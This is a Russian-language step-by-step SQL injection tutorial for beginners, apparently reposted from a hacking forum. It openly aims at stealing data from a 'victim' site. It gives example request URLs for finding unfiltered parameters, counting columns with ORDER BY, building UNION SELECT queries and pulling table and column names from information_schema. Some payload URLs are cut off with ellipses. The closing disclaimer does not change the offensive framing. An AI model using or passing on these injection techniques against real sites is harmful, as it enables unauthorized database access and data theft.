Здравствуйте, уважаемые читатели. Перед вами пошаговое руководство по SQL Injection для новичков. Здесь я попытаюсь очень просто объяснить как украсть нужную нам информацию.

Эта статья  является как бы итогом множества других статей, вопросов, ответов, практики итд итп. Написал я эту статью чтобы хоть как то облегчить труды новичков в нашем нелегком деле.
Итак, начнем.
----------------------
ОБНАРУЖЕНИЕ
----------------------
Предположим у нас есть цель взломать тот или иной сайт. Иными словами у нас есть жертва. Пусть это будет http://www.victim.com. Как узнать можно ли провести SQL Injection? Чтобы провести иньекцию надо сначала найти скрипт в котором есть нефильтруемая переменая. Предроложим на сайте есть скрипт news.php через который выводятся, например новости. Предположим у нас есть ссылка на "Новость #1", и ссылка эта такого вида:
http://www.victim.com/news.php?id=1.
Есть также ссылка на "Новость #2" имеющяя сылку вида:
http://www.victim.com/news.php?id=2.

Признак возможности провести по SQL Injection номер 1:
В адресной строке вместо этого адреса
http://www.victim.com/news.php?id=1
вот этот
http://www.victim.com/news.php?id=1'.
Если на экран  выводится сообщение об ошибке такого:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' ORDER BY ndate DESC LIMIT 0, 5' at line 1
или такого вида*:
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/lol/data/www/www.victim.com/news/news.php on line 569
то SQL Injection возможна.

Признак возможности провести по SQL Injection номер 2:
Если содержимое
http://www.victim.com/news.php?id=1
то же что и у
http://www.victim.com/news.php?id=2-1
то SQL Injection возможна.

Из всего этого понятно что нефильтруемая переменая id и именно ей мы будем присваивать наши запросы.

---------
ПОЛЯ
---------
Для начала мы должны узнать количество полей в таблице и узнать значение какого поля высвечивается, чтобы потом через это поля выудить информацию.
Сделать это можно двумя способами.
Способ первый:
Банально перебирая количество полей, пока сообщение об ошибке не исчезнет. Пример:
http://www.victim.com/news.php?id=1+uni … +1,2,3,4/* и так далее.

Способ второй:
С помощью оператора ORDER BY, который формирует порядок сортировки полей по номеру (и не только), поля, т.е если выражение:
http://www.victim.com/news.php?id=1+order+by+5/*
не выдаст ошибку - это значит что в запросе используется как минимум 5 полей. Ввожу еще одно выражение:
http://www.victim.com/news.php?id=1+order+by+13/*
Это выражение выполнится с ошибкой, т.к. 13 -го поля не существует и теперь нам известно что полей в выражении не меньше 5 и не больше 12. Выбираю любое число из этого диапазона (примерно среднее):
http://www.victim.com/news.php?id=1+order+by+8/*
Ошибки нет, а это значит что количество полей находится в диапазоне от 8 до 12, Еще раз:
http://www.victim.com/news.php?id=1+order+by+10/*
Ошибка!. т.е количество полей или 8 или 9, остается только попробывать:
http://www.victim.com/news.php?id=1+order+by+9/*
Ошибки нет. Т.о. мы узнали что количество полей равно 9.
Получаем определенную информацию.
Т.к. мы знаем что у нас 9 полей мы можем составить работающее выражение:
http://www.victim.com/news.php?id=1+uni … 6,7,8,9/*.

Итак, мы узнали количество полей. Их 9. Предположим что высвечивается значения 1, 2 и 3 поля.

-----------
ИМЕНА
-----------
Чтобы вытянуть информацию нужно сначала узнать имена таблиц и полей.
Ну чтож, начнем.
Есть такая замечательная БД INFORMATION_SCHEMA и в ней есть замечательная таблица TABLES и в ней есть замечательные поля TABLE_SCHEMA и TABLE_NAME. Вот с их помощю мы и узнаем имена таблиц. Вот запрос:
http://www.victim.com/news.php?id=1+uni … ma.tables.
Теперь в нашем броузере отобрязятся все таблицы Базы Данных.
Остается узнать имена полей. Для этого набираем в адресной строке
http://www.victim.com/news.php?id=1+uni … a.columns.
Как можно увидеть мы поставляем имена полей вместой той цифры которая отображается на экране.
-----------
ПОСЛЕСЛОВИЕ
-----------
Также хотелось бы вам рассказать о двух вещях.
Первое:оператор LIMIT.
Если все проходит не так гладко как хотелось бы то в самом конце запроса мы добавляем LIMIT a,b что означает показать b записей начиная от а.
Второе:Коментарий /*.
Если и лимит не помог то попробуйте в самом конце запроса поставить символ комментария. Если ставим знак коментария то остальная часть запроса отбрасывается.
Вот собственно и все дорогие мои :)
-------------
БЛАГОДАРНОСТИ
-------------
Хотелось бы поблагодарить впервую очердь хакзону, потом всех авторов которые публикются на ней, потом всех новичков которые задают вопросы, и конечно всех кто отвечает этим вопросам. Именно благодаря вам была написана эта статья :)
Отдельная благодарность Warag a.k.a. EuGen за его терпеливость.
Warag a.k.a. EuGen я тя оч-оч уважаю и оч-оч благодарен за все :)
Ну и напоследок:
Статья не является побуждением к действию. Это только для ознакомительных целей. Автор не несет ответственности за действия которые были после прочтения данной статьи.

З.Ы источник - hackzone.ru